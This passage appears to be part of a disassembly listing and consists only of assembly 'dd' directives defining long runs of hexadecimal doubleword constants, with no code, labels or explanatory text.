0E0792F32h, 26D8FC70h dd 1C30203Fh, 0E5503004h, 0E032955h, 0F0D0510Dh, 0ECD49C9Eh dd 1A8190B8h, 8F1A7A4h, 86F62D78h, 9DA89CCBh, 728023D4h dd 27D03297h, 7D2040h, 41932170h, 0FA9127E6h, 500BCF9h dd 86C07B16h, 8E300003h, 0A491241Ah, 0E495E01Fh, 8B38025Ch dd 17FCD15Ch, 6838187Fh, 0F0C13E51h, 9D85DA83h, 804A0E04h dd 6021C020h, 0D223DD2h, 0C3159300h, 0CEED87Dh, 0BCF3894Eh dd 0FD974103h, 104C446Ah, 0E1D625F8h, 0E18009ACh, 0D3BDC721h dd 1CA87EA7h, 0E84EF671h, 8023D0B0h, 9C209508h, 0CC71703h dd 0F2FC258Ch, 37B50040h, 88CC6973h, 2C94F74h, 636A79C4h dd 38048655h, 0B28A5AC1h, 8C9B096Ch, 42785EF7h, 7020E795h dd 0C315FC97h, 0F2F09880h, 0DF8190Eh, 7D0EA9BBh, 5D06D880h dd 0A6047EA4h, 5063AEB7h, 138EDC88h, 1241A754h, 0E0F8B688h dd 2CC13953h, 1154AC75h, 7C8A0506h, 0DC48EB49h, 645D80F3h dd 21D1D3C9h, 0D2A5A20Eh, 59029FDh, 48288C0h, 76C4C429h dd 0EC718228h, 0B7D8A780h, 48E80A07h, 6B1F56A3h, 0DEA00B7Bh dd 0C05CC56h, 0BC222E81h, 802F24F8h, 5F0E6045h, 770ED8FAh dd 42FB3A89h, 0E036ECD0h, 9704A0EBh, 61C040EDh, 17AC62Eh dd 0F453C0ACh, 7C3FA492h, 867F1CE8h, 946A9F13h, 5C071423h dd 7270983Dh, 0A9247C9Fh, 2510128Ch, 32003999h, 0F5617F2Ch dd 0CBB9C330h, 0E4F10341h, 6B18F679h, 2FA0F400h, 0F2BA6FE4h dd 0D9CE02AEh, 0E7FE6C38h, 5B4A40DAh, 0A3DFAC8Bh, 7FE68607h dd 613B2242h, 0C711F57Ch, 74326Ah, 8E59B39Dh, 13ADC8ACh dd 0C8900BE2h, 0DF414FF4h, 1931A441h, 0E5569900h, 0DA2D421Fh dd 2CAC7B25h, 2C465C54h, 9C196903h, 6800E953h, 72DA85D3h dd 0CAD8FE1Ch, 4E888608h, 2B371099h, 22C8208Bh, 36B8B4C1h dd 7800F7Eh, 0FC0C09F3h, 2364A867h, 49117260h, 0BD213A04h dd 78F2FE0Fh, 9830AE00h, 0E97570B3h, 330A2F04h, 0CE8A44Fh dd 0E2B20A2h, 252208A0h, 9807D879h, 403E3556h, 818C8ECFh dd 93B0DCB4h, 73F8A376h, 0A7636616h, 6E4C8420h, 6DA4008Fh dd 7EC1565Dh, 3A3D5C72h, 5A573893h, 0D890042h, 1C331018h dd 18B59D84h, 9BDE020Ah, 5C88092Dh, 2F253BCh, 4D7C0801h dd 2F787CE7h, 0BCCE7DA6h, 9E98172h, 23102B7Fh, 0CDDF0024h dd 0E28EAE73h, 4C6A1609h, 70245B78h, 3A039B3Bh, 0A7A27E97h dd 5B73A0AEh, 0EBF92D7Fh, 46008859h, 0E95849F3h, 392E16CBh dd 29000225h, 345E675Ah, 1402BD88h, 3964F4F6h, 0D608BD9Bh dd 0C0A974BDh, 59123A3Bh, 0B0BC3167h, 0B800B993h, 0C8564E59h dd 0A600B530h, 3FC8B177h, 38B20Ch, 0C3EE7869h, 87068A5h dd 6771E32Dh, 60184408h, 196BB51h, 32DF753Ah, 72BF7239h dd 171F0BE8h, 8701067h, 1FD1084h, 0FA2218h, 2E656CDBh dd 0E21B63BBh, 0E5C55900h, 777B152Ah, 50420296h, 0D0CF7943h dd 0E600C88Fh, 837F9A55h, 933C0307h, 5C49579Ch, 0D606DC84h dd 2D8F981Ch, 152825B8h, 0F681745Bh, 6C91B5B4h, 1FFC487Ch dd 7CB20F8Ch, 0E0003F64h, 6ACED4CAh, 92003C91h, 9452E911h dd 0FE34079Fh, 0C936F10Bh, 0F6F47CF6h, 90B90497h, 0AF1254B1h dd 64A6B830h, 0C5D412ADh, 270E244h, 0B588CD6Ah, 989A5767h dd 0F4792451h, 0DA2EA918h, 0A24160EFh, 0EE48EC9h, 4A8D0125h dd 163A4440h, 0E2B84D70h, 0C5699C5Ch, 6015E4E8h, 0C6828A6h dd 92B8493h, 854FE348h, 0D85770A2h, 6707909h, 0FC11909Dh dd 0C0C64880h, 0F205CF13h, 0CE41AB05h, 4A63B083h, 0BE8E678h dd 21EB7491h, 1C418A14h, 4BCE86Ch, 5AA0CE3h, 5EBCF4Eh dd 3D1A810Ah, 0F087040h dd 2F709200h, 55E5B968h, 0D2E0EE3h, 2A21C2D0h, 40C16F6Ah dd 890B4CD8h, 89C55C27h, 607C5CC8h, 0F1518C8Ah, 700048B0h dd 3FE7365Bh, 0E33868h, 0D7351C12h, 0E86F06C6h, 78F31E4Ah dd 44792F27h, 20D8960Fh, 0C476E68Ah, 77F7989h, 9AE86957h dd 2784427Bh, 0EA5A50D0h, 0C8167C6Bh, 0D8B2AFh, 5C879FE1h dd 1473E486h, 8801F37Fh, 6FB9EB09h, 50EDE032h, 3BEF43C0h dd 37ECF3F0h, 7C110B60h, 0A0A1F423h, 0BE95Ch, 9B8CD79h dd 872E9B3Eh, 1745307Eh, 0F6EC5CF8h, 39A8008Ch, 328FFCA2h dd 81276D77h, 18E0495Ch, 6EF8CD3Ah, 901746Eh, 938490F0h dd 6A582002h, 0D3B1DB6Bh, 112070A4h, 90B54104h, 3AAF67F0h dd 0FC6BF568h, 10F54100h, 7B265496h, 48E2B07Fh, 0F78427h dd 0CCFFD3C0h, 8E1B764h, 4CC76C6h, 5486F61Bh, 0BC975244h dd 0EDA6A30Ch, 238C3BEBh, 9D60716h, 346C6286h, 0AE27854h dd 0F8117794h, 0D0822A5Dh, 76C8DC2Ah, 80040121h, 0AE137C7Eh dd 1A062022h, 5E0A586h, 301A9750h, 84B7D7h, 6506D8D5h dd 929FA61Fh, 67744068h, 0F8040149h, 6B14C632h, 8139BEEDh dd 4ED340BDh, 0DC83119h, 0B87F03F7h, 9D931178h, 44C2A4E0h dd 0B44CE495h, 2E465EFCh, 807F7402h, 10D730D4h, 39FB00h dd 5E870637h, 0DE781C0Bh, 66281B00h, 0B7673A94h, 911F34E3h dd 0F22CB214h, 8A2B30F2h, 2A9741Ch, 7B0B5DC9h, 181B7990h dd 0FA601E8Dh, 0BC7C9269h, 61938298h, 4B585E89h, 0A0F66C62h dd 1748C625h, 0BCB6EA78h, 0C8E0807Ch, 9DDC818Ah, 21C450E7h dd 698FA960h, 0AA464F13h, 0F38030F8h, 0C02797E3h, 0F7DDFD0Fh dd 5E9CE9ADh, 9588616Ch, 0E4842A8Ch, 0E56C1FAEh, 7B8038B5h dd 465436D6h, 0ABA814CFh, 0B67680CBh, 8C0A02F0h, 0ECC80975h dd 944A23B7h, 2F5E90F3h, 1623B4h, 0C3215F73h, 8727D405h dd 107CA09Eh, 0B61D9097h, 8F7084E8h, 1F2CE03Ch, 54A57E00h dd 652D99B4h, 0F2301DF4h, 98EAE5E2h, 8549D5Fh, 9B6003FBh dd 4B74BEF2h, 2FB4DD21h, 28008C6Eh, 0CC26EA10h, 3104F590h dd 2F8B3698h, 108E8894h, 30C0FB88h, 0E62D71Ah, 4DFE39ECh dd 0FF21A82Ch, 0B9BFDD07h, 0DD024EDh, 899405h, 0BAB8DCBCh dd 70C4D096h, 8CB274Bh, 0FCB8D44Ch, 3321018Ch, 0CF481967h dd 5351F8AFh, 1390C33Eh, 58E872C8h, 7D848939h, 0AE070D74h dd 2223E03Bh, 3B41CB00h, 0FE537Dh, 0FC6FBCE4h, 0E185F7D4h dd 0E01024B0h, 539FFB13h, 0B7DCA3FEh, 0E689C0E8h, 38900285h dd 38A00C90h, 0B97D6871h, 1817BB05h, 74E4820Dh, 88009D67h dd 36D9BF61h, 2820685Eh, 69D489Ah, 9EDB789Bh, 911748D1h dd 0A8E1BFA4h, 4E8C8D2Bh, 0C02288D8h, 706381BCh, 945A600h dd 7C120E4h, 0CD8612A1h, 0C890B0C0h, 0C9207098h, 0A27E09E9h dd 30F16E87h, 44F70054h, 0B2683E42h, 8F0F7A93h, 0BAD99D5h dd 80AC3D34h, 65772946h, 76128E1Ch, 3D13C57Eh, 0CE9AC02h dd 4AA8F283h, 0B21CA671h, 0F0815D37h, 7047184h, 0EC036C81h dd 80349E6Ah, 0D9A6841Dh, 889F1070h, 64B87D18h, 50D044BFh dd 30C8E6Eh, 90F65508h, 2CC951BFh, 44D6F459h, 6CB2847Ch dd 0E470679Fh, 1F4B602Eh, 84321FF3h, 0F150B08Dh, 9A1C7287h dd 0B9B05007h, 5A0047Fh, 0D9866031h, 0F5AF81BEh, 0C8163AEFh dd 86C47CB8h, 0C412AF03h, 0E659B080h, 94D9828Bh, 0D6692900h dd 9C8D15h, 0A3481854h, 5BBCE74Ah, 65D32D05h, 10BC36DAh dd 0C7825509h, 144F9422h, 27005C27h, 0A037C8h, 9750F695h dd 13E22287h, 388B8130h, 5BD8AF0Ah, 0C810CB6Eh, 0EEE0CF21h dd 56EDB02Dh, 2D86E839h, 0F8987911h, 3E8603FDh, 242C510Ch dd 38B7044Ch, 9D8C0729h, 1DF6EEC0h, 0D06A5CC7h, 21C4E880h dd 9B901BD5h, 22FB6000h, 0BCDDB3C3h, 261375D3h, 0E30B71Ch dd 5C05C867h, 27E4F465h, 0C5860704h, 8482162Ch, 100BD7B7h dd 24DCE8DCh, 3C68E62Eh, 8079A614h, 78B32446h, 7E0254A0h dd 475B7227h, 6004646Ch, 2451A103h, 31DC994h, 0D585A0A8h dd 1B84A590h, 79C2F0C9h, 0A4928260h, 0A068FB3Bh, 0A8B48974h dd 702CFB27h, 9E251718h, 8F48D17Dh, 7C988CDh, 592D54F0h dd 4F7C6811h, 70281EDh, 7C1AC9FDh, 53B052C0h, 0ED0E82A4h dd 42B2D701h, 5DD97C88h, 56980C00h, 1A4A259Eh, 3AE018B6h dd 47E3DCEBh, 4E1C498h, 58BEA893h, 1D8A4FCh, 469FAD00h dd 75891D69h, 0C1CA0192h, 459320D3h, 649B2F94h, 89731881h dd 86FCE3A0h, 0C6B5D0BDh, 840C29C0h, 727D00D4h, 0F4ABA85Dh dd 19EF10CCh, 82C40917h, 9B080CACh, 5C5B27F0h, 0FEAAA58h dd 2E8F3D1Dh, 11608A00h, 0E32FFB9Ch, 8E00592Bh, 51E323F2h dd 7AE0DAFAh, 2B731CFFh, 0A2974800h, 6C911F81h, 38EB60B3h dd 6943F9BCh, 63203413h, 0ADDE9805h, 9CF6A4C5h, 0AC9005E0h dd 6013D1EEh, 78003B13h, 9D4127Fh, 0DC92959Ah, 0F0BC54D8h dd 1D1C00D6h, 53166DE6h, 379D0B17h, 801E1100h, 0C1F6F53Bh dd 7AD10039h, 86A4702Bh, 219774A5h, 12DCBFECh, 0FC7B9907h dd 4D181F59h, 0C0900100h, 0D7C49149h, 5C200BC8h, 0AC59F675h dd 7C1FEA10h, 8E0A1284h, 0C025C838h, 2DB8053h, 0F0216102h dd 0F0CD4B2Fh, 66722510h, 18E46065h, 0E9376F60h, 0F52C5200h dd 0B766AA5Dh, 0A3364B70h, 33F1B2D8h, 0CD2B86E0h, 2A7B802h dd 0DEF89766h, 63A80694h, 6D5CD0E8h, 49EC104Ch, 0E7C83601h dd 50517C20h, 82D7FE9Ch, 0C1F9AA03h, 0F1912408h, 0A440FD2Bh dd 26311067h, 0A5B88BA4h, 102F04E9h, 9A19848Ah, 48E8B590h dd 9407CA5h, 180F4450h, 0F4B0B700h, 6F433C1Ch, 0CABB0949h dd 18D11EA8h, 66B1606h, 0C2820331h, 47A2F1B9h, 0CA068C2h dd 0ABE0DDCAh, 2892FB02h, 0E61CA743h, 0A9860024h, 0FA2D9C79h dd 82385456h, 5FDE0076h, 0CBFFD59h, 711C6088h, 56E2A67Dh dd 80A0675Bh, 0FC23B5F1h, 0C5F80599h, 0FC0084ACh, 7FE62F32h dd 47112D3h, 9F72E986h, 28FCE170h, 88BC93BCh, 81005794h dd 6B8C6D9Ah, 85FCC394h, 3C9D25h, 2446AC8h, 373A0499h dd 0BA050A01h, 28F8E412h, 0ADB33C80h, 7900F0DEh, 7BE09D08h dd 0FCC939DAh, 9C48B71Ah, 18800414h, 12F02787h, 0A5A28C21h dd 0A0202F52h, 620CF7Dh, 1848FA8Eh, 39043CBAh, 476AC80Dh dd 0A56442FAh, 0EC2022E8h, 97D39048h, 5BCF843h, 23BA87CBh dd 0F938EBB8h, 338C939Bh, 7D0858F8h, 0BF9F10A8h, 55C3FB80h dd 5F654BFAh, 1270A391h, 0D045F954h, 88BD8493h, 40E86A25h dd 7F12CD8Ch, 0ACBDF268h, 6102EABCh, 0CE02FBC0h, 80A4FC6Bh dd 44F2BF5Ah, 6702F1F7h, 63B5B11Dh, 40E4E2DDh, 80341058h dd 5F02C70Ah, 0F871747Dh, 0DE747417h, 0DBE9883Eh, 132D98FCh dd 38BBAC78h, 0E995E170h, 9D65CC60h, 0CC73C01h, 2A46680h dd 8411205Bh, 7F54C923h, 80C8DB3Fh, 96ACB5B6h, 0A142177h dd 0F7879F8Fh, 0E894900h, 3D05C06Fh, 3A93499Ah, 2858A245h dd 86959C2Ah, 0F8A1C28Ch, 48452D67h, 71E9ACD1h, 192F79B8h dd 720AADF4h, 5F995B3Ah, 0A7D809F0h, 6B1CD8DAh, 0D296A1B1h dd 8280D8E8h, 268AA58Eh, 18CD475Eh, 0E064E62Ah, 778F9CDAh dd 869E04CEh, 1205B495h, 0F4F7D4B2h, 0EAE3504h, 8C27E540h dd 0B2269414h, 771900DCh, 2F543901h, 89290693h, 8281AF7h dd 53198890h, 5F191BA7h, 0FEBCFC7Ch, 38040343h, 0BF90B606h dd 90821C17h, 0C039DD80h dd 0CD88102Bh, 0F008602Ch, 33F8BEEAh, 0D4FCB297h, 0CEF6DC30h dd 0A5566901h, 0DC1E3DE6h, 0A818812Eh, 0DD3A0210h, 247ED41Ah dd 0BB6F00DCh, 638B4EC8h, 1012F99Ah, 60A114BFh, 16D0CA2Bh dd 3CF9EA9Eh, 9801FBE8h, 7E757C2Fh, 5DCE5E72h, 0EA89B838h dd 40D0EF9Fh, 0DA475A60h, 485B2901h, 0F8F15EC2h, 0B6321B10h dd 539B6800h, 0AD8C8F52h, 4F7B015Bh, 6462B946h, 82D47D81h dd 1A9385h, 4289D88h, 0E5C7A8C1h, 0BFCFB7Fh, 2760B021h dd 2443B694h, 0ED321007h, 7C8B1769h, 87D18120h, 821314A5h dd 0A083C240h, 79CCD91Ch, 9D018FCh, 495C88BBh, 0CC394E2h dd 0BA83429Ch, 8850741Ah, 18280454h, 93DCC20h, 1AD09D86h dd 2176D47Ch, 83A803FCh, 0C185E62Ch, 0E1A7871Dh, 0C17A52E0h dd 6A254CF4h, 39D05427h, 207F18Eh, 0D535CC02h, 0E050794Fh dd 0DBA49209h, 713891FBh, 2346B3Eh, 478492DDh, 87D200FEh dd 305408ADh, 9F00EBB4h, 21AFA77Ch, 1CA3DC7h, 1E0B1C7Fh dd 0DEBAE67Ah, 66601CDEh, 0B5116C97h, 0F1919C9Dh, 0A059F482h dd 6D74027Dh, 0B89857D9h, 899DE2F1h, 73445B18h, 81DEFAF0h dd 98663D60h, 2D896392h, 9C9FA884h, 0C6802F11h, 0C25FE163h dd 91D8187Ah, 2573BAC0h, 707A890Eh, 11041D9Fh, 0E9798020h dd 93DFBE0h, 0FDEF9C91h, 3192DC5Eh, 0A6C834A1h, 91EF25Dh dd 189CB770h, 9885541Ch, 5080F1CFh, 5421C1E5h, 6225CD72h dd 77C786Bh, 59E67D01h, 2CD42072h, 0DD7E37CBh, 3F68B7B7h dd 0DE08A885h, 6F24F00Bh, 5AAD8888h, 0CFACC054h, 76000156h dd 9935D511h, 3E5281Bh, 8629D81Ch, 0BAA53CC5h, 0EF802070h dd 0AFCF1E7Ah, 5D49789h, 0E8946078h, 8CF1BC98h, 0C2836712h dd 88667029h, 0CF9D38B0h, 1FC2B50Bh, 190F1DEh, 4D8375E0h dd 0D458ED8Ah, 3C00D4BBh, 8CA4A29Ah, 0D56DE3h, 0B8B96378h dd 0C1C7567Dh, 468E595h, 0FFE4BF70h, 4CB88812h, 1F7D37A2h dd 872C1120h, 6B33922Eh, 80D100E2h, 0C6D5E5DFh, 9F19703Fh dd 2F781EA4h, 0AC58CE2Bh, 0CF395EAh, 39C9DE58h, 5102A61Dh dd 734E9990h, 0EA14ECE0h, 58D8D395h, 0E400DFFCh, 56323B2Dh dd 108B7D1Ch, 4AFB358Ch, 5F8890E2h, 0C0484DA5h, 94B6E816h dd 4B523D40h, 2F9CCADDh, 0D8C4DB45h, 0E102EFA9h, 71253238h dd 0E6F0E0A5h, 4D48217h, 2289804Fh, 1CBC99EAh, 0C54C69EEh dd 1DF15667h, 0E40D8058h, 0A2B0BF9Ch, 3DE91C00h, 13D7D39Bh dd 863A3FE7h, 0C6C50889h, 17BF7C51h, 9CBC1B84h, 79F06B1Bh dd 28439DF8h, 34933Dh, 0DE23F7BAh, 3A163973h, 0A4DC537Ah dd 73A7901h, 68E5777Ch, 197402CCh, 0D785D067h, 8F10D890h dd 7B317025h, 0B8CD80E0h, 0D3B7EF34h, 506A2E0Ah, 73808C13h dd 93D9DA1Ch, 7A04782Ch, 37B8002Dh, 0A388E04Fh, 490009DFh dd 60355E71h, 75D38AC2h, 6464B53Bh, 0E2BCCDB5h, 58603E20h dd 0CB412D0h, 7BF24676h, 0B1C6ED12h, 0ADD6BCBCh, 1FC5B8C4h dd 405E4B84h, 58B57CF0h, 57496C93h, 0D0D22670h, 24AE90B4h dd 0C06EEBC4h, 73203B03h, 81072AA8h, 711224A2h, 0CECF77F0h dd 98E900C2h, 16F31D17h, 0FD5B2269h, 0D1C6E48Dh, 0F6920004h dd 0B5543FCAh, 0F1A9F1EBh, 2B36C5DEh, 20CC0B0h, 80C60752h dd 0B7771CBDh, 0D7020064h, 70FBDCEAh, 94DED412h, 814F84F2h dd 2E180A28h, 789E2499h, 908FC903h, 0F0823078h, 0EDC707Eh dd 7C892A7Ah, 8845275Ch, 647C65A5h, 7ED76019h, 3E6DE073h dd 6718BB46h, 0B5882102h, 7369E0BCh, 0CAF770F4h, 68F11E2Fh dd 165F36Ch, 8AA94A44h, 1011797Ch, 712E9Eh, 4DD43F93h dd 9B97D46h, 0D245B60Bh, 0C0787699h, 7CED489Eh, 4309197h dd 0CB08282Fh, 2D85E388h, 0C401D895h, 38F48772h, 0AE200B28h dd 0DB58684Fh, 7E82005Ah, 0C27FE0A2h, 0EB008B52h, 6456B4CEh dd 9F4D337h, 0A6E3B762h, 90DF9092h, 6E6F218h, 4335CE2Ch dd 9706464Dh, 489B5FDEh, 32707868h, 9A78244Ch, 0BF7268A1h dd 0B857D264h, 2B96E8E8h, 2184C1Ch, 39D08F70h, 0BEBC5612h dd 0A8208712h, 0A0CA4A60h, 301F9771h, 55802F11h, 5A871C21h dd 30848B09h, 0A5A07314h, 5B51445Bh, 33FCF7EDh, 0A586086Dh dd 0CC2F2304h, 773C0560h, 0ECDE4B2Ah, 8CF3EC50h, 79C1C62Dh dd 4C4D4978h, 0F3D0EEC3h, 225EC8ABh, 8493174Dh, 0E5FCA09Bh dd 50E08503h, 9D078E66h, 5E9D960Bh, 0B55DC9A4h, 0B8A70094h dd 2CCE84B5h, 809D8C09h, 6268C70Dh, 881B0402h, 17735BCh dd 0D9F5687Dh, 6AA38492h, 56939880h, 8F29012Ah, 5B7267CDh dd 3C8206Fh, 6451842Fh, 548A3C90h, 1308E92Ah, 0AD09658Ch dd 19831638h, 48E820B9h, 13E19C00h, 24B1953h, 7610A050h dd 256F0EB4h, 5260997Dh, 985C7E10h, 3E1C37EAh, 958294B3h dd 74BF80ABh, 4467444h, 1EEFC70h, 600A8F43h, 30719525h dd 0B408DB8h, 0BDDFEC91h, 2000F4ABh, 745632F6h, 495A35EEh dd 404240E2h, 0C03FDE1h, 51B82453h, 6D680174h, 2534C73Ch dd 86E2B7Ch, 2081417h, 0D79C497Fh, 46F4A05Ch, 0BDC51F21h dd 6CE16004h, 527030AFh, 535A6688h, 9C8034DBh, 46A17C1Dh dd 0E4BAF700h, 2E9929C0h, 69401989h, 0D2D536F9h, 0F6193C40h dd 140E8626h, 0C0586DA5h, 0F1FC5751h, 0ED928200h, 913335DCh dd 737209Ch, 0B795E97Fh, 0FCB000BCh, 4835B144h, 0E65539h dd 0E84CF8A3h, 606AB7A7h, 5AFEB90Ch, 4A0327BCh, 0F598FBA0h dd 0E320EF08h, 599766A7h, 0F05B54D8h, 0B8376B50h, 41FC3815h dd 68640EFFh, 0A53D866Fh, 0A79B0FBh, 128E2EC4h, 0ADF0F56Ch dd 42770F9Ch, 6AEFE002h, 12DBE380h, 0E33B1F6Fh, 0C586097Ch dd 6050D00Ch, 0B754E877h, 660459D3h, 0A7DAF03Fh, 80BC9BABh dd 119AA073h, 3DB30227h, 8F4A4DEh, 54145709h, 4656049Eh dd 0BF510023h, 94E91CAFh, 0F2C34A6Dh, 1CE99250h, 16EA30A8h dd 5E13ABEEh, 0B500492Eh, 29481AB3h, 0D49D169Ah, 0BFD44220h dd 0E6552330h, 0B4CDBD4Ch, 0EBB9C043h, 8C2A866h, 0F859275Ch dd 0A774A872h, 64D4E79Dh, 5B616116h, 15B0D86Bh, 30FC8195h dd 699E115Ch, 0F46A12C8h, 5003ABA4h, 45DDFB91h, 8E46C07Ah dd 0CB1D5CD5h, 0A1527D05h, 0E874C188h, 89A3013Ch, 40785870h dd 0F6EADB1Bh, 7A9D8025h, 0F0942270h, 79958CF8h, 0BC659210h dd 84337C40h, 0F48619FDh, 7B84C8ABh, 72624E07h, 28A58543h dd 5E7E55C1h, 0F434E0EAh, 2E128109h, 69C5C04h, 0D0537200h dd 0D6B84C4h, 0E3EC49F9h, 9C8FCF4h, 12757C2Ah, 599720FAh dd 0D353E84h, 0D45CAE8Ch, 59F4AD09h, 2C782DFCh, 1FFE3F20h dd 1817AF38h, 0A8766110h, 0F0E27D4Fh, 59EA0F18h, 0D49AD18Ch dd 7A727E09h, 889571Fh, 17B89C60h, 23FCCE02h, 88489B20h dd 0C82DFF90h, 107E7A78h, 21A30BDh, 0CD85E465h, 0F684E880h dd 4A0A681h, 748AC806h, 25ECB931h, 65687E72h, 7394EC15h dd 0F761F260h, 1B92EEDh, 0D62FB6CFh, 6B6AE8E2h, 4073E0D8h dd 0DF125AF6h, 12BF8502h, 846EEBECh, 1DE5C700h, 0C947A762h dd 3CA23F26h, 0B8BAF90Dh, 54D2B2A7h, 94907095h, 1E467458h dd 9646DE00h, 29A007B6h, 8A6D7C02h, 5DF07758h, 0C3810410h dd 9B636A12h, 86EAEh, 6678E43Fh, 3673D0Fh, 7C315B44h, 0B802F597h dd 63E65A0Ch, 0D64CD4EAh, 0F772CA02h, 448FF6FBh, 0A20989Ch dd 817C8B40h, 27338994h, 377Fh, 0FE63DFC5h, 8B1C7E73h dd 79E7660Eh dd 39330CB8h, 4ED3D10h, 0ABB5FCA9h, 8908786Ah, 9480F8F1h dd 4F79063Bh, 0C3820EC8h, 5500BF0Dh, 2D93CD7Eh, 0EA0424h dd 0F34100DCh, 37BEE301h, 0C7027ECAh, 0E0C505CCh, 0C8E85533h dd 1A17D0A2h, 8E9870Fh, 0C828DA4Ah, 6128C716h, 2E4F0286h dd 0FA0ABC47h, 0F7016600h, 9CCC394Dh, 6D804A80h, 55682E58h dd 0FECA5005h, 35BA35DEh, 237C3A1Ch, 0ABA90014h, 0B7700C52h dd 0CC1F8026h, 0EB386525h, 7945704Dh, 1A5C08FEh, 2CBC9B12h dd 1FD7D3A2h, 401086Ch, 299F3860h, 5E501DDh, 844B2EB7h dd 58003ACBh, 8E2759D8h, 0BFFD267Eh, 188F6158h, 7B90A755h dd 88C07020h, 24FBD098h, 0A05F7C04h, 0F30004F2h, 23F953D8h dd 0D94AEA62h, 0B4E30F3h, 84F03B58h, 0E15C8812h, 9C718A0h dd 318A1CD4h, 4051485Eh, 520C3184h, 0F4CAABE0h, 0F74B763Ah dd 0A1B0A7B8h, 4B994231h, 0EACB25Dh, 20BA569Bh, 8D229E2Eh dd 34E90207h, 88C702E0h, 990EE879h, 272D425Ah, 0CC89D71Ah dd 1DDC9C7Ch, 9B83F595h, 0FBF1811Eh, 475CE42Ch, 1459E600h dd 0DF7ED8C1h, 0D4E0B57Ah, 0A825B8CDh, 0CB0CC8C7h, 14C69F02h dd 8558CC95h, 6018C48Ch, 4630E90h, 3588D4C1h, 74C480A0h dd 0EF0B3BF9h, 0A9F4C585h, 0A818599Ch, 0BF842DA4h, 6ED8A081h dd 0B7908968h, 0DC74F4A8h, 0B86DA02h, 82B76A15h, 0A1359BCh dd 34BF0EBCh, 5A34CDD6h, 0F63DC2D0h, 804488h, 0EC4FD77Fh dd 9A382B91h, 0F42890B5h, 63810093h, 367DFCE4h, 0A309D2F7h dd 5EA5AD84h, 73EF0754h, 0B777E94Ch, 62980020h, 0B0575659h dd 0F6F8A07Fh, 98D0895Bh, 2CBEB80h, 707D9671h, 8CFC6897h dd 0BACA584h, 904A312h, 0FC68C586h, 87700B58h, 0F3F984D9h dd 0A2D3518h, 816C7995h, 6B48B6C6h, 64846A73h, 0BBB83CA9h dd 127C7800h, 6728645Eh, 3CDD5C55h, 0F86C0974h, 0BC5A8772h dd 42992112h, 0E7DE5202h, 489FFF1Bh, 9C1911h, 0E23FB14Bh dd 0D1973E91h, 17B0AC68h, 0D14A03Dh, 0C294E695h, 954A5E80h dd 5F64BA57h, 98605CEDh, 5062C4A2h, 4484D445h, 68C20620h dd 4C809A52h, 2CC295E0h, 1B10747Eh, 258C7126h, 9D3E420h dd 341EF91h, 2EC21828h, 88E07D63h, 0EE951BC5h, 0AA820F0Ch dd 3A00290Ah, 93D41970h, 0BCCD0E00h, 8689BC0h, 759AF4E3h dd 0CC7E502Bh, 740B1780h, 0FC2CFC87h, 66008CF6h, 62862C5h dd 120C9ABAh, 0B1C95433h, 9C306F30h, 0F240EE0Fh, 467F0141h dd 0B60722B9h, 0E898C87Eh, 0C0E25C4Fh, 99BFE007h, 63A301C7h dd 0EC826BDDh, 0B4B555EAh, 0A2E5482h, 90E0449Bh, 0F1B85A60h dd 0EC10790Ch, 209305B9h, 0BC6FA491h, 9BC3AB4h, 71C62CF1h dd 2DA6609Ch, 0B252924h, 40A05E0Dh, 0D09F841Ah, 5E8040C9h dd 0A310E51Ch, 30F8E214h, 8E09C1CBh, 56DB1669h, 8EF40CCh dd 50B094E1h, 5E522E05h, 343B376Bh, 100FB23h, 72056E6h dd 4583128Eh, 2420BB77h, 9C9618h, 0F4B4F913h, 0E4DA6775h dd 33FAF161h, 15D4FB51h, 0AC7995A5h, 39C526D7h, 4FB0F04Eh dd 69CA1BFh, 0F730FACFh, 16251475h, 0DD8035h, 0F5540D66h dd 12002127h, 7CA06CB9h, 7D36D29Ah, 0B1950B6Ah, 4482639Ch dd 14D8E974h, 0A18C795Ch, 9C74026Ch, 855512E5h, 90182CEAh dd 3A1F1B40h, 740D2893h, 7F51F331h, 9EFA034h, 96570C14h dd 50539740h, 11C1550h, 3073FE37h, 2EA38491h, 5CDCACC2h dd 88B76B6Ch, 0A032B10Eh, 5E391EFDh, 349D3188h, 0C0062EB9h dd 37CE818h, 9C98C52Ch, 0D4F8B792h, 0AE82409Eh, 70761660h dd 91EA7728h, 68E6284Fh, 0AEF425E0h, 8B3C4E2Fh, 21687EFCh dd 32884FACh, 2C8C5A49h, 0C1B8940Ah, 2B87139Eh, 9B3ADC89h dd 301CCBE0h, 207C3078h, 9A95F009h, 0F46D777Ch, 55FA3FC0h dd 1DA0B14h, 54829352h, 9E22121Ch, 8677D2Bh, 6003C8CFh dd 2F2EBE72h, 0B4F66E09h, 0BE44CE97h, 161DD4CCh, 0CF422A7Bh dd 57625281h, 0A07C2C8Bh, 0FE1C00DCh, 3A2EDAFBh, 6D169D6Ch dd 50373F93h, 0FBB61C80h, 8A1F05C7h, 0A9382F8Bh, 4F01B814h dd 44E2C6h, 0F13C119Fh, 13B6993h, 6CD81A15h, 6F900A77h dd 95B520CCh, 33E664E4h, 574ABD6Bh, 0EA866685h, 9BEA1FD5h dd 8EB780B4h, 6AA5D8h, 0AAD96CBCh, 153DB501h, 0B5905D9Fh dd 0FF810F2Dh, 7EAA98F8h, 2FF57717h, 61543995h, 2C4200F6h dd 0A8F3E4BFh, 0F8648B96h, 0C9401044h, 0F9395BE0h, 9C71011Eh dd 8C7FF307h, 3E828E71h, 18DA27Eh, 88C57229h, 9F409AA5h dd 0F6771B95h, 5B5738B7h, 0FF965F93h, 0E10EA86Eh, 18C09874h dd 0B8E0F76h, 20EA1FD7h, 9B94861h, 9DEB8C15h, 6EAB9690h dd 78770E0Bh, 8B1D00A1h, 0A80AEDBDh, 57F595BCh, 0B0B0B520h dd 8C01565Dh, 9D2BFFCEh, 4E860C45h, 0D21BD83h, 44A7D89Fh dd 0F9FB8915h, 0BB96002Bh, 393303F1h, 0FB8B5021h, 0E38166C8h dd 7B7B4C29h, 0AD9D0B02h, 0B15B8210h, 31DB5502h, 76A778h dd 2AA04AA2h, 6658EFB2h, 0B4D98B29h, 0B9B55D4Bh, 0A7726300h dd 71BF17C4h, 261427A4h, 0B593E477h, 64008279h, 2482AC96h dd 0FF850042h, 80D8033Fh, 0FB05393Dh, 0B3C05DA2h, 21B1AA04h dd 8AB5B0Ah, 21009F5h, 0FC060B22h, 2D01858Bh, 0C6F5331Ch dd 4DD1C716h, 29D6EB24h, 18A9BCA8h, 383AE980h, 0F9DAFFF3h dd 60F0B9AFh, 0CF59053Dh, 0C68589B5h, 8B24585Ch, 0B91C34C1h dd 0D2335725h, 1FC91810h, 